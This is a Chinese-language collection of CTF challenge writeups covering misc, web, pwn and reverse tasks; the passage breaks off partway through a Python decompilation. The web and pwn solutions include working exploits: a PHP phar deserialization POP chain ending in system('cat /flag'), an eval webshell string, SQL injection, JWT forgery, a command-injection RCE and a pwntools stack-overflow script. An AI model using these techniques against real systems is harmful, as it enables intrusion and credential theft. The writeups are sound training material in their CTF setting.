wp发布时服务器正在维护,可能无法打开平台,明天就能重新进入平台

MISC

维多利亚的秘密(作者:hayneschen)

两个附件,压缩包需要密码打不开,试试伪加密,行不通那就先放一边,找找图片有没有线索
拿到图片常规对图片进行 010 检查,找隐写,发现都没有
简介中说到 海盗们都喜欢把宝藏的钥匙藏在海底下~ 那就应该联想到图片下方还有内容没显示完全

图中 07 E0 代表 PNG 图像的长,02 90 代表 PNG 图像的高,那随便把高修改一下就能发现海底藏着一个二维码

扫描二维码发现文本开头是 data:image/png;base64
找到 base64 转图片

找到解压密码,解压后得到flag.txtis_me!
flag 打开发现被骗了,真正的宝藏在is_me! 中
没有后缀怎么办,010 看看呗
PK 开头,妥妥的 zip,先改 zip 解压试试看,很顺利解压出来了

这内容一看就是 word 文档,不应该用 zip 解压,把文件改为.docx 后缀打开
移除表面的照片后全选文件改一下颜色就能发现一串二进制

把 0 用空格换掉得到

新型终端

一个wasm文件,可以自己从官方github项目上查手册搭一个,这里用wmctf曾出现过的题,套上去搭一个就行

base64 flag得到

H4sIAAAAAAAAA/MLDnYOcatOSTMyszAzstA1STIy0TUxTTLWTUpMMtc1MzexSEw1M0xMM0irBQAyahiTLAAAAA==

卫继龚的电动车

根据提示,短的为0,长度为1,得到:0111010010101010011000100

这道题是PT224X,地址位长度为20bit,后4位为数据位,因此截取前20位即可

flag为:xujc{01110100101010100110}

光线追踪

附件是个ELF,扔到IDA中,发现像是个迷宫题:

找到迷宫坐标数据将其提取出来,比较长这里就不贴了,每组坐标都是[x,y,z]的形式,如前三个是:


[105, 120, 30]
[75, 90, 30]
[135, 90, 30]

因为是三维坐标,所以肯定不是平面能看出来的,我们转战到3d软件中建模呈现坐标,我这里用的是unity。

需要多次转动角度,像从正面看是一条线的,从上边看就是#

正面看是一条线的,侧面看可能是其他字母。

最后flag是:xujc{AHHLF#AItDELFDLDE#tIHt}

压缩包(作者:ketcyka)

第一层zip为伪加密,修改两处加密位为0即可解压

得到flag.file,观察文件头或者丢进kali用file分析得知是wim文件,同样解压得到flag.rar和pwd.txt

用pwd.txt里的密码解压得到flag.7z

最后的7z为弱密码123456 解压得到flag

[签到]我家踏上了信息高速路!(作者:S1EEPS0RT)

一个压缩文件,解压一下 发现两封邮件

User-Agent: Mozilla Thunderbird  
From: 091285e5-08f0-4ef1-9e34-82ee7736b49a  
<091285e5-08f0-4ef1-9e34-82ee7736b49a@mail.tkksec>  
Subject: flag{here_is_flag}  
Content-Language: en-US

User-Agent 提示 Thunderbird(thunderbird.net

下载一个,打开邮件

提示加密了,看看另一个

很正常的一封邮件,看看源码

动图对应的文件名为提示有 _.gpg.gz

右键图像保存下来

binwalk 跑一下

└─$ binwalk Desktop/img_v3_025u_e10adc3949ba59abbe56e057f20f883e_____.gpg.gz.gif    
  
DECIMAL       HEXADECIMAL     DESCRIPTION  
-------------------------------------------------------------------------------- 
0             0x0             GIF image data, version "89a", 70 x 70  
25815         0x64D7          gzip compressed data, has original file name: "_____.gpg", from Unix, last modified: 2023-12-08 07:23:03

提示有一个 gz 压缩文件

binwalk -e 分离gif和gz文件

└─$ file Desktop/_img_v3_025u_e10adc3949ba59abbe56e057f20f883e_____.gpg.gz.gif.extracted/_____.gpg  
Desktop/_img_v3_025u_e10adc3949ba59abbe56e057f20f883e_____.gpg.gz.gif.extracted/_____.gpg: OpenPGP Secret Key Version 4, Created Fri Dec  8 07  
:21:51 2023, EdDSA; User ID; Signature; OpenPGP Certificate

发现有私钥

导入Thunderbird

WEB

文件管理器(作者:Red)

因为题目是apache,猜测文件查看器的默认目录在/var/www/html,所以猜测index.php也在这个目录下,可能存在任意文件读取漏洞,尝试查看

成功,并且发现在相同路径下还有两个php文件分别是upload.php和read.php

read.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>卫继龚的文件查看器</title>
    <style>
        .search_form{
            width:602px;
            height:42px;
        }

        /*左边输入框设置样式*/
        .input_text{
            width:400px;
            height: 40px;
            border:1px solid green;
            /*清除掉默认的padding*/
            padding:0px;
            /*提示字首行缩进*/
            text-indent: 10px;

            /*去掉蓝色高亮框*/
            outline: none;

            /*用浮动解决内联元素错位及小间距的问题*/
            float:left;
        }

        .input_sub{
            width:100px;
            height: 42px;
            background: green;
            text-align:center;
            /*去掉submit按钮默认边框*/
            border:0px;
            /*改成右浮动也是可以的*/
            float:left;
            color:white;/*搜索的字体颜色为白色*/
            cursor:pointer;/*鼠标变为小手*/
        }

        .file_content{
            width:500px;
            height: 242px;
        }
    </style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>卫继龚的文件查看器</h1>
<form class="search_form" action="" method="post">
    <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    <input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

upload.php

<html>
<title>卫继龚的文件上传器</title>
<body>
    <form action="" enctype="multipart/form-data" method="post">
        <p>请选择要上传的文件:<p>
            <input class="input_file" type="file" name="upload_file"/>
            <input class="button" type="submit" name="submit" value="上传"/>
    </form>
</body>
</html>

<?php
    if(isset($_POST['submit'])){
        $upload_path="upload/".md5(time()).".txt";
        $temp_file = $_FILES['upload_file']['tmp_name'];
        if (move_uploaded_file($temp_file, $upload_path)) {
            echo "文件路径:".$upload_path;
        } else {
            $msg = '上传失败';
        }
    }

分析read.php发现还有一份叫class.php的代码被引用

同样读取出来

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

至此整份网站php代码应该都被读出来了,开始代码审计

起点是read.php中的aa类

$a=new aa() #new一个aa类的对象

aa类的__destruct方法中用了strtolower函数且参数是属性name,此函数用于将字符串转换成小写字母形式,因此我们可以将其参数设置成zz类的对象,此时zz类的对象会被当成字符串从而触发zz类的__toString方法

$a->name=new zz() #将aa类的对象的name属性赋值为zz类的对象

在zz类的__toString方法中

this->{_POST[‘method’]}($_POST[‘var’]);

这行代码调用了zz类中的一个函数,但是函数名和参数都需要我们自己POST来传
我们可以让它调用zz类的write函数,将参数设置为content (为什么是content原因往下看)
因此需要post传参 method=write&var=content
此时上面代码就变成了

	        $this->write('content')

此时就来到zz类的write函数
我们可以很清楚的看到

$lt=$this->filename->$var

当前类的filename的$var属性赋值给了变量$lt,而这个变量$var就是上面我们传入的参数content
于是,上面的代码就相当于

$lt=$this->filename->content

因此我们可以将当前类的filename属性赋值为ff类的对象,这样就相当于将ff类中的content属性赋值给变量$lt,但是在ff类中,content是私有属性,是不可通过外部访问的。这样,因为我们在外部访问了ff类中不可访问的私有属性content从而触发了ff类中的__get方法。

$a->name->filename=new ff(); #将filename属性赋值为ff类的对象

而此时的变量$var,也就是content,将作为__get方法的参数传入进去,也就是变量$key
所以最终触发的是

__get('content')

而在__get函数内部又有这么一行代码

$this->$key->{$this->func}($_POST[‘cmd’]);

我们知道此时的变量$key是触发__get方法时传入的content
所以上面的代码就相当于

$this->content->{$this->func}($_POST['cmd']);

可以看到我们调用了一个函数,这个函数是当前类的属性content中的函数,函数名为当前类的func属性的值(即$this->func),函数变量为POST传入的参数cmd的值(即$_POST[‘cmd’])

如果此时直接将func赋值为system,cmd赋值为cat /flag
最终得到的是

$this->content->system('cat /flag');

很显然这样的代码并不能执行,因为当前类的content还没有赋值,并且也content中也没有system方法,而且它和 system(‘cat /flag’) 也不一样

所以ff类的__get方法并不是链子的终点

我们需要将ff类的content属性赋值为xx类的对象,此时就相当于调用了xx类中的system方法

xx类中有system方法吗?很显然没有!

但是,由于我们调用了xx类中不存在的方法,因此触发了xx类中的__call方法
__call方法接收两个参数,一个是$name,一个是$arg
这两个参数分别对应我们调用的不存在的方法的方法名和参数
也就是我们最终触发的是

__call('system','cat /flag')

而在__call函数中对此函数又进行了构造,也就是这行代码

$name($arg[0]);

变量$name是system,$arg[0]是我们传入的第一个参数’cat /flag’
因此构造成了函数

system('cat /flag')

至此,利用链结束!

最终poc

<?php
class aa{
    public $name;
}
class ff{
    private $content;
    public $func="system";
    public function __construct(){
        $this->content=new xx();
    }
}
class zz{
    public $filename;
    public $content;
}
class xx{
    public $name;
    public $arg;
}
$a=new aa();
$a->name=new zz();
$a->name->filename=new ff();

$phar = new phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a); 
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>

这里需要使用phar反序化,因为代码中并没有存在反序化函数,而phar包在执行时正好有反序列化的操作

将生成出来的phar包上传后,下面是最终post包中的payload

file=phar://upload/你的文件.txt&method=write&var=content&cmd=cat /flag

官网(作者:S1EEPS0RT)

需要一点开发经验,在vue框架下,使用vite构建工具在dev模式可以使用@fs读取文件,存在任意文件读取漏洞,详情看这里:为什么 Vite 的请求有时候是相对路径,有时候是 /@fs/ + 绝对路径?

先尝试访问

发现允许路径是/root/Tkksec,猜测里面有flag,因此直接访问它即可

easy_SQL(作者:Red)

拿到题第一步先审计代码,这里过滤只有一个clean函数,按照常规有两种解题思路

  • 1.在查pass的地方绕过,在name后输入管理员账号即可。但问题就是,我们现在并没有管理员账号,因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除

  • 2.、在namepass里插入联合查询,以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况,而且还会出现单/双引号被clean过滤的情况

怎么办呢?我们先把query里的sql语句提取出来做一下研究

SELECT * FROM users WHERE name='".$username."' AND pass='".$password."';

假设我现在输入的username=admin,password=123,那么就是

SELECT * FROM users WHERE name='admin' AND pass='123';

这里我们先尝试把AND pass删掉,在username输入\

SELECT * FROM users WHERE name='admin\' AND pass='123';

为什么这样就叫把AND pass删掉呢?因为原本在admin后的引号被斜杠转义成了内容,丧失了原先用来“框住”字符串的功能,而这个功能已经被pass=后面的引号给替代。此时我们只要在password输入or 1=1 -- ,SQL语句变成

SELECT * FROM users WHERE name='admin\' AND pass='or 1=1 -- 123';

123';就会被注释掉,而这句语句where后面的条件因为or 1=1而100%成立,因此就会执行SELECT * FROM users,即可拿到flag。

这里有个细节需要注意,就是--后面是要带个空格的,一些浏览器会把URL中最后一个空格删掉,因此要手动补一个%20

flag-game(作者:hayneschen)

js 逆向题,F12 可以看到

比较关键的是后面的内容

结合定义的 u 和 d 函数可以知道后面 flag 的判断标准是 0-x 位的子串的哈希匹配
由于我们已知 flag 开头为 xujc { 所以可以进行爆破

import hashlib
import itertools
 
checkers='''sha224 8 a99265
sha224 10 035052
sha256 12 c7c3c8
sha256 14 a9db92
sha256 16 6ae31d
sha256 18 bb1eaa
sha256 20 33f4bb
sha224 22 8ac593
sha256 24 cb5892
sha256 26 f380c2
sha224 28 b5fa69
sha224 30 b4f950
sha256 32 b1c3fc
sha224 34 bacfd2
sha256 36 40272c
sha256 38 16138c
sha224 40 31a24d
sha256 42 16138c''' # 从题目给出的js代码中提取处理之后的格式
 
 
checkers = checkers.strip().split("\n")
checkers = [i.split() for i in checkers]
 
def sha256(s):
    return hashlib.sha256(s.encode()).hexdigest()
 
def sha224(s):
    return hashlib.sha224(s.encode()).hexdigest()
 
def check_flag(initial_flag, hash_type, length, expected_hash):
    # 遍历所有可能的字符填充到指定长度
    possible = "0123456789abcdefghijklmnopqrstuvwxyz_/-`~:;[]'?.>,<+{@#!$%^&*()}" # 其中一个Rule提到没有大写字母,所以这里没有大写字母
    needed_length = length - len(initial_flag)
    # 找出所有可能的扩展字符组合
    for combination in itertools.product(possible, repeat=needed_length):
        print(f"trying {initial_flag + ''.join(combination)}") # 这里的print省略可以跑快很多(单纯喜欢看hz的flag一点一点暴露出来呢)
        candidate_flag = initial_flag + ''.join(combination)
        if hash_type == 'sha256' and sha256(candidate_flag)[:len(expected_hash)] == expected_hash:
            return candidate_flag
        elif hash_type == 'sha224' and sha224(candidate_flag)[:len(expected_hash)] == expected_hash:
            return candidate_flag
    return None  # 如果没有找到匹配的,返回None
 
flag = 'xujc{'
for i in checkers:
    # 将flag更新为新发现的匹配flag,如果找到的话
    # 如果长度足够了,就不再继续搜索
    if len(flag) >= int(i[1]):
        continue
    new_flag = check_flag(flag, i[0], int(i[1]), i[2])
    if new_flag:
        print(f"new flag: {new_flag}")
        flag = new_flag
    else:
        print(f"no match {i[1]} with hash {i[2]}")
        break  # 如果在某一步没找到匹配的,终止搜索
 
print(flag)

好吃,爱吃,多吃(作者:Red)

很典的一道屎山代码分析+session伪造,拿到题后先来看看附件

映入眼帘的secret_key

不要丢,一会儿要用。

我们先来分析一下根目录路由

当你访问了这个网站后,代码逻辑可以画个类似像下面这样的流程图

因此利用关键就在于要在数据创建并写入文件夹之前将你想要写入的数值写入到balance

因此我们用flask-session-cookie-manager来自己构造一个session,利用首页和附件所给的数据就能构造

然后买就完啦

flag发放机(作者:S1EEPS0RT)

打开首页

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="refresh" content="1; url='/static/backup.zip'">
    <title>超安全的FLAG自助发放机</title>
    <link rel="stylesheet" href="static/assets/css/simple.css">
</head>

自动下载 /static/backup.zip 下的源码

0.go.bak 源码
build.sh 编译脚本
go.mod GO程序所使用模块的描述文件

先看源码路由

gin.SetMode(gin.ReleaseMode)
r := gin.Default()
service := r.Group("/service")
service.Use(authReq())
{
	service.POST("/flag", flagHandle)
}
r.StaticFile("/", "./assets/index.html")
r.StaticFile("/flag", "./assets/flag.html")
r.StaticFile("/login", "./assets/login.html")
r.StaticFile("/signup", "./assets/signup.html")
r.StaticFile("/update", "./assets/update.html")
r.Static("/static", "./")
r.POST("/x/login", login)
r.POST("/x/signup", signup)
r.GET("/ping", func(ctx *gin.Context) {
	ctx.JSON(http.StatusOK, gin.H{
		"message": "pong",
		"host":    ctx.Request.Host,
	})
})

r.Static("/static", "./")

static 路由 开启了文件服务
用dirsearch扫描出nohup.out,backup.zip

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

[18:19:47] Starting: static/
[                    ]  3%    420/11460         0/s       job:1/1  errors:0
[####                ] 21%   2435/11460        21/s       job:1/1  errors:41
[18:32:54] 301 - 0B  - /static/assets  ->  assets/
[18:32:54] 200 - 581B  - /static/assets/
[18:33:23] 200 - 5KB - /static/backup.zip
[18:45:11] 200 - 824KB - /static/nohup.out

Task Completed

backup.zip 是我们获取到的源码
访问一下看看 nohup.out

是程序的 stdout 输出回显

我们看看 /service/flag 路由
该路由在 /service 路由组下,并使用了 authReq() 作为中间件

中间件核心代码为

authHeader := ctx.GetHeader("Authorization")
tokenString := authHeader[7:]
jwtClaims := jwt.MapClaims{}
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
		if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
		}
		return []byte(jwtKey), nil
})
ctx.Set("username", jwtClaims["Username"])
ctx.Next()

获取了Authorization请求头,并通过预设的jwtKey解析 Json Web Token
解析成功后将JWT对应用户名设置传给gin ctx上下文

在flagHandle()函数中,获取上面从JWT解析出的 username

func flagHandle(ctx *gin.Context) {
	username := ctx.GetString("username")
	flag := "flag{1234567890}"
	if username == "admin" {
		flag = os.Getenv("GZCTF_FLAG")
	}
	user, ok := get(username)
	if !ok {
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "用户不存在, 可能是当前TOKEN已过期",
		})
		return
	}
	key := user.(User).TotpKey
	if !totp.Validate(ctx.PostForm("totpCode"), key) {
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "totp code invalid",
		})
		return
	}
	ctx.JSON(http.StatusOK, gin.H{
		"code": 10001,
		"msg":  "Hi," + username,
		"flag": flag,
	})
}

可以看到,需要满足两个条件

  1. 用户名为admin的情况下才会将flag设置为环境变量

  2. 用户的二步验证码必须正确
    满足后才将真实flag输出
    普通用户只能拿到 flag{1234567890}

我们打开网站测试一下
先注册
尝试注册admin,提示用户名不可用
我们注册个别的

提示需要TOTP绑定二步验证
我们可以使用 Google Authenticator 或者搜个在线版TOTP使用
这里方便测试使用了在线版
日常使用请使用独立APP并关闭联网权限

绑定成功后我们去登陆

输入TOTP生成器内的验证码,成功登录,弹出一个领flag的按钮
点击 《领flag》

毫无疑问的领到假flag
查看请求头,有Token,我们拿去厨子那解码一下

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoic2xlZXBzb3J0In0.PsNxcpWWeq8oTRnaEWL6kd-2Ph_kFE3OohCIisctGu4

选择 JWT Decode

{
    "ExpiresAt": 1714225067,
    "Username": "sleepsort"
}

成功解码,一个过期时间和一个当前用户的用户名
我们尝试JWT伪造
先尝试用程序内的jwtKey

var jwtKey = "000_JWT_KEY_REPLACEMENT_000"

赛博厨子Bake一下

fetch("http://ip:20239/service/flag", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
    "authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMTg3MjJ9.vtoo5xudfwOhSvcaArw-m7C_qRr85PUvFRJJY8SQ7b0",
    "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
  },
  "referrer": "http://ip:20239/flag",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n876327\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

提示

{"error":"无效的授权令牌,可能是没有登录,或签名是伪造的"}

看来Key是错的
看一下编译脚本内的内容

#!/bin/sh
JWT_KEY=$(cat /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 32)
sed -u s/000_JWT_KEY_REPLACEMENT_000/$JWT_KEY/g ./0.go.bak > 0.go
CGO_ENABLED=0 go build -trimpath -v -ldflags="-w"

使用sed命令把 000_JWT_KEY_REPLACEMENT_000 替换成了随机32位的字符串,有大小写还有数字
可以说告别了爆破

我们得想办法搞到替换后的 0.go 或者 编译后的程序来获取jwtKey

r.Static("/static", "./")

static 路径是和程序文件在同一个目录下的 尝试static下的 0.go, 没有

curl http://ip:20239/static/0.go -i
HTTP/1.1 404 Not Found
Date: Sat, 27 Apr 2024 12:12:47 GMT
Content-Length: 0

压缩包里给了个 go.mod 文件

module goauth

go 1.22.1

require (
	github.com/gin-gonic/gin v1.9.1
	github.com/pquerna/otp v1.4.0
)

而go程序在编译时,会默认使用 module 名作为生成的程序名

 wget http://ip:20239/static/goauth
--2024-04-27 20:18:06-- http://ip:20239/static/goauth
Connecting to ip:20239... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8293884 (7.9M) [application/octet-stream]
Saving to: ‘goauth’

获得了 程序
试下strings,有定义没有内容

strings goauth |grep jwtKey
main.jwtKey

接着我们

IDA64启动!

结合我们获取到的源码,找一下jwtKey
因为编译时没有 strip
所以函数,字段,都比较清楚

源码内 authReq() 和 login() 函数获取了jwtKey
我们选 authReq()

token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
	if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
		return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
	}

	return []byte(jwtKey), nil
})

在 authReq_func2_1 中找到 获取jwtKey的点

获取到 jwtKey
找赛博厨子Bake一下

fetch("http://ip:20239/service/flag", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
    "authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMjExMTB9.bn9OFUemUmcTum8IiwUzk8avWody3fE9FuslHZpknLU",
    "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
  },
  "referrer": "http://ip:20239/flag",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n876327\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});
{
  "error": "totp code invalid"
}

可以看到,不再报JWT错误
但提示了TOTP错误
还需要获取到 admin 的TOTP密钥来生成实时的验证码

程序启动的时候,系统自动添加了admin用户

func main() {
	{
		username := "admin"
		key, err := generateTotpCode("S1eepS0rt", username)
		if err != nil {
			sysLog(err)
		}
		user := User{
			Username:    username,
			Password:    "rsVlkNgAJrDgNuXn/a7LFvYe73w=",
			TotpKey:     key.Secret(),
			TotpEnabled: true,
		}
		set(username, user)
	}
}

可以看到TotpKey是程序运行时生成的
密码设置为一串BASE64
但结合登录函数分析,该Base64其实是密码的hash

func passwordHash(pass string) string {
	passHash := sha1.Sum([]byte(pass))
	return base64.StdEncoding.EncodeToString(passHash[:])
}
if passwordHash(password) != user.Password

前面扫描目录时我们扫到了 nohup.out 可以直接获取程序的 stdout 输出
我们检查下代码,哪里可以导致admin的TotpKey被泄露
我们检查 sysLog() 函数
最终定位到 检查用户登录的 check() 函数

func check(username string, password string, totpCode string, ctx *gin.Context) bool {
	if (username == "") || (password == "") {
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "Username or password cannot be empty",
		})
		return false
	}
	if value, ok := get(username); ok {
		if user, ok := value.(User); ok {
			if totpCode == "" {
				ctx.JSON(http.StatusBadRequest, gin.H{
					"error": "need totp code",
				})
				return false
			} else {
				if totp.Validate(totpCode, user.TotpKey) {
					return true
				} else {
					sysLog("User:", user.Username, user)
					ctx.JSON(http.StatusOK, gin.H{
						"code":  40001,
						"error": "totp code invalid",
					})
					return false
				}
			}
			if passwordHash(password) != user.Password {
				ctx.JSON(http.StatusBadRequest, gin.H{
					"error": "username or password not match",
				})
				return false
			}
		} else {
			ctx.JSON(http.StatusBadRequest, gin.H{
				"error": "username or password not match",
			})
			return false
		}
	} else {
		sysLog("no such user:", username)
		ctx.JSON(http.StatusBadRequest, gin.H{
			"error": "username or password not match",
		})
		return false

	}
	return false
}

在这个check函数里,先检查了用户名或密码是否为空
接着检查了用户是否存在
若存在,则检查totpCode是否通过
随后才检查了用户的用户名和密码是否匹配
(这里写了个BUG,有一个非预期解,可以一把梭)

if totpCode == "" {
	ctx.JSON(http.StatusBadRequest, gin.H{
		"error": "need totp code",
	})
	return false
} else {
	if totp.Validate(totpCode, user.TotpKey) {
		return true
	} else {
		sysLog("User:", user.Username, user)
		ctx.JSON(http.StatusOK, gin.H{
			"code":  40001,
			"error": "totp code invalid",
		})
		return false
	}
}
if passwordHash(password) != user.Password {
	ctx.JSON(http.StatusBadRequest, gin.H{
		"error": "username or password not match",
	})
	return false
}

当totpCode检查不通过时,会在console中记录对应的用户

sysLog("User:", user.Username, user)

这里直接把整个user结构体打印了
也就是说,我们无需admin的密码,就能泄露其整个用户的结构体数据到 console
结合上面扫描出的 nohup.out 便可获取 admin 的 TotpKey

我们在登录框填写admin,密码和totpCode任意填

提示 totp code invalid
接着我们去获取程序的console输出

获取到了 admin 的 TotpKey

我们此时对 /service/flag 接口提交伪造后的 Json Web Token 并附上 根据 admin TotpKey 实时生成的验证码

fetch("http://ip:20239/service/flag", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-GB,en;q=0.9,en-US;q=0.8,zh-CN;q=0.7,zh;q=0.6",
    "authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFeHBpcmVzQXQiOjE3MTQyMjUwNjcsIlVzZXJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MTQyMjExMTB9.bn9OFUemUmcTum8IiwUzk8avWody3fE9FuslHZpknLU",
    "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryYLPUGU58R8x9ThNO"
  },
  "referrer": "http://ip:20239/flag",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "------WebKitFormBoundaryYLPUGU58R8x9ThNO\r\nContent-Disposition: form-data; name=\"totpCode\"\r\n\r\n285048\r\n------WebKitFormBoundaryYLPUGU58R8x9ThNO--\r\n",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

可得flag

[签到]RCE

直接上paylaod

?cmd=cat /fla* >a.txt
/a.txt

PWN

Arm

从HTB _Arms_roped初识arm架构和qemu | lexsd6’s home

赛车、餐厅

2024寒假训练赛1——Writeup – Red的小屋 (redshome.top)

这tm是在说什么?

2024寒假训练赛2——Writeup – Red的小屋 (redshome.top)

踢踏舞

将程序拖入IDA中查看反汇编代码#

(也可以自己先利用题目给出的C语言源码搞清楚程序逻辑后再IDA分析) 可以看到当我们的游戏win时会让我们输入名字,且s字符串的大小只有16

用鼠标点击变量s,可以查看vulnerable函数的栈

可以看到 s 的大小为0x14 - 0x4 = 0x10 = 16 s 离返回地址的距离为0x14 - 0x0 = 20 由32位栈调用的原理可知在跳到返回地址前函数栈还会pop ebp寄存器, 所以我们的填充数据段大小为20+4=24

最后找到我们要跳转到后门函数(或者是可以get shell)的地址

可以看到在地址为 0x08049236 的汇编代码是success函数的开始,所以我们的跳转的返回地址可以为 0x08049236 这里的返回地址还可以写0x08049242之前的其他地址: 0x08049237、0x08049239、0x0804923A、0x0804923D 但是0x08049242及之后的地址就不行了,因为转到这些地址时函数的get shell 指令就不能完整地执行

发送地址时我们用p32()来进行32位的小端打包字节并发送

exp如下:

from pwn import*
context(arch = "amd64", os= 'linux')
context.log_level = 'debug'
taolve = remote('ctf.w4terdr0p.team', 26539)
#taolve = process('./0')
'''
填充字符
'''
offset = 24
#填充字符的长度
ret_adrr=0x08049236
payload = b'a'*offset  + p32(ret_adrr)
#我们要修改为的返回地址

taolve.recvuntil(b'Please give me a position(0-8):')
taolve.sendline(b'1')

taolve.recvuntil(b'Please give me a position(0-8):')
taolve.sendline(b'1')
#填一个不合理的数字让电脑帮我们下棋()
#实际执行时发现我们随便填一个数字其实最后都是有可能win的,一次没win就两次()
taolve.recvuntil(b'Please give me a position(0-8):')
taolve.sendline(b'1')

taolve.recvuntil(b'Tell me your name:\n')
taolve.sendline(payload)

taolve.interactive()
#最后转到交互模式后还需要使用linux命令行来得到flag
#ls 指令来查看当前目录下有哪些文件和文件夹
#cat flag 来打印 flag
'''
如果出现下面这句话:
[*] Got EOF while reading in interactive
则说明可能之前的栈溢出填充字符的长度计算错误,
或者是我们所填写的返回地址有错误,
比如未完成之前的必要汇编指令就强行执行一些指令

easy_pwn

2023TKKCTF——Write up – Red的小屋 (redshome.top)

HITCON

记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup-安全客 - 安全资讯平台 (anquanke.com)

过度诠释

2018鹏城杯 初赛 Writeup – Whitzard - 先知社区 (aliyun.com)

Reverse

Oh,我的python!

下载题目附件后发现是pyc程序,所以我们先将pyc程序用在线网站反编译为python代码, pyc文件反编译在线网站: https://www.lddgo.net/string/pyc-compile-decompile

反编译后的代码:

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.6.12 (default, Feb  9 2021, 09:19:15)
# [GCC 8.3.0]
# Embedded file name: code.py
# Compiled at: 2023-04-07 02:35:04
# Size of source mod 2**32: 2203 bytes
import random
nums = [
 1978258991135969430907740146613972524912040387261480714498605437001413714048012005658525477720873,
 1414825718139831310004497635022196603261545889510259032286492681850346322299057448961219349615261,
 1471197358920577704193422061749330372697192144784994772676793648983411513291005358932035022769990,
 1095683197289929480686106401204396721653343660344305230304481285071676149806630337393361064473668,
 921996790539554852662428059590451844400982285998027884584784172033455291195472563692294712472587,
 768317485525512263520758851945293018259735364080330793974615632236110541795950958118326437487430,
 544753920998122166512884082722895849761507576602028192924568306511924098132295226512319060641414,
 87332110670036340709881571180530351791609485922184989048968644870753368056574249836210523509408,
 1814118338382323693695027271435064617570300757148890716598838416084005431401276422453072948468217,
